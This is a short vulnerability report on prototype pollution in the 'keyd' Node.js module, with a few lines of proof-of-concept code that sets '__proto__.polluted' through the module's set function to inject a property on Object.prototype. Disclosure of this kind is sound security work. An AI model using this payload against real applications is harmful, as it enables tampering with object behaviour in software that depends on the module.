[keyd] Prototype pollution

I would like to report a `prototype pollution` vulnerability in `keyd` module. It allows an attacker to inject properties on Object.prototype.

const keyd = require('keyd');
const obj = {};
console.log("Before : " + obj.polluted);
keyd({}).set('__proto__.polluted', 'yes');
console.log("After : " + obj.polluted);